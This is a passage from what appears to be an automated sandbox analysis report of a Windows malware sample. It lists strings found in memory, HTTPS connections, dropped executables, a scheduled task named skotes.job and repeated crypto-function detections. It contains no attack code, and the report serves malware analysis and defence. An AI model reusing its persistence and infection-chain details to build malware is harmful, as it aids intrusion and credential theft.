Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000020.00000002.2488316289.0000024966B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000020.00000003.2358712982.000002496F5C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2327730186.000002496F312000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1452933549.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1453114706.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1452991258.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155011376.00000000053DB000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155277231.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2155102433.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2319127290.0000000005158000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000020.00000003.2365524342.000002496F425000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000020.00000003.2332259657.0000024968A6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2496660646.00000249674C2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: firefox.exe, 00000020.00000003.2370575418.000002496F7BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2369164366.000002496F79C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2376378869.000002496F7EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2373184278.000002496F7D6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.1486321018.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2189642518.00000000056C4000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000020.00000002.2488316289.0000024966BE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/findUpdates()
Source: firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/XPIDB_startup_load_reasonsFailed
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000020.00000002.2488316289.0000024966BE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000020.00000003.2353417925.00000249697E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467033519.0000024963061000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000020.00000002.2463576215.0000024962743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2460159881.0000024956F11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001E.00000002.2258866634.0000029B87150000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2273797856.00000210F37A9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2459119579.0000024956C99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000020.00000002.2461740422.0000024958C14000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2461740422.0000024958BEA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwda
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://firefox.sett
Source: unknown Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 53858 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53858
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53867 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53869
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53867
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53862 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53862
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53860
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53865
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53864
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53865 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 53870
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 53860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 53869 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49788 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.8:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.8:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53858 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53860 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53862 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53865 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53869 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:53870 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: 457547ced2.exe, 00000011.00000002.2288765487.00000000009A2000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_e854a518-b
Source: 457547ced2.exe, 00000011.00000002.2288765487.00000000009A2000.00000002.00000001.01000000.00000011.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_d6bab371-0
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name:
Source: OR17DXDL5BQ5H62NVD1DH.exe.0.dr Static PE information: section name: .idata
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name:
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name: .idata
Source: XVTAV824L7GG4HFUZ6DTK345T.exe.0.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: random[1].exe.13.dr Static PE information: section name:
Source: random[1].exe.13.dr Static PE information: section name: .idata
Source: 51c532c207.exe.13.dr Static PE information: section name:
Source: 51c532c207.exe.13.dr Static PE information: section name: .idata
Source: random[1].exe0.13.dr Static PE information: section name:
Source: random[1].exe0.13.dr Static PE information: section name: .rsrc
Source: random[1].exe0.13.dr Static PE information: section name: .idata
Source: random[1].exe0.13.dr Static PE information: section name:
Source: cc6c7213b6.exe.13.dr Static PE information: section name:
Source: cc6c7213b6.exe.13.dr Static PE information: section name: .rsrc
Source: cc6c7213b6.exe.13.dr Static PE information: section name: .idata
Source: cc6c7213b6.exe.13.dr Static PE information: section name:
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name:
Source: 3TJFBHTBUJ4JRCME5DZP9K.exe.15.dr Static PE information: section name: .idata
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name:
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name: .idata
Source: PK29CODQN9XEGX33RPZ17G59EIZ.exe.15.dr Static PE information: section name:
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name:
Source: QQ6G82QPPDO4THZ78NZ3FOU9RZSTV.exe.25.dr Static PE information: section name: .idata
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name:
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name: .idata
Source: 8W2ZCDPT7RPT387TG43.exe.25.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.13.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.13.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\XVTAV824L7GG4HFUZ6DTK345T.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_0004D9FD 3_2_0004D9FD
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEA53 3_2_001BEA53
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEAD1 3_2_001BEAD1
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEAC3 3_2_001BEAC3
Source: C:\Users\user\AppData\Local\Temp\OR17DXDL5BQ5H62NVD1DH.exe Code function: 3_2_001BEB00 3_2_001BEB00
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DEA4 15_3_0083DEA4
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DEA4 15_3_0083DEA4
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DED3 15_3_0083DED3
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083DED3 15_3_0083DED3
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0083E151 15_3_0083E151
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe Code function: 15_3_0085AC39 15_3_0085AC39
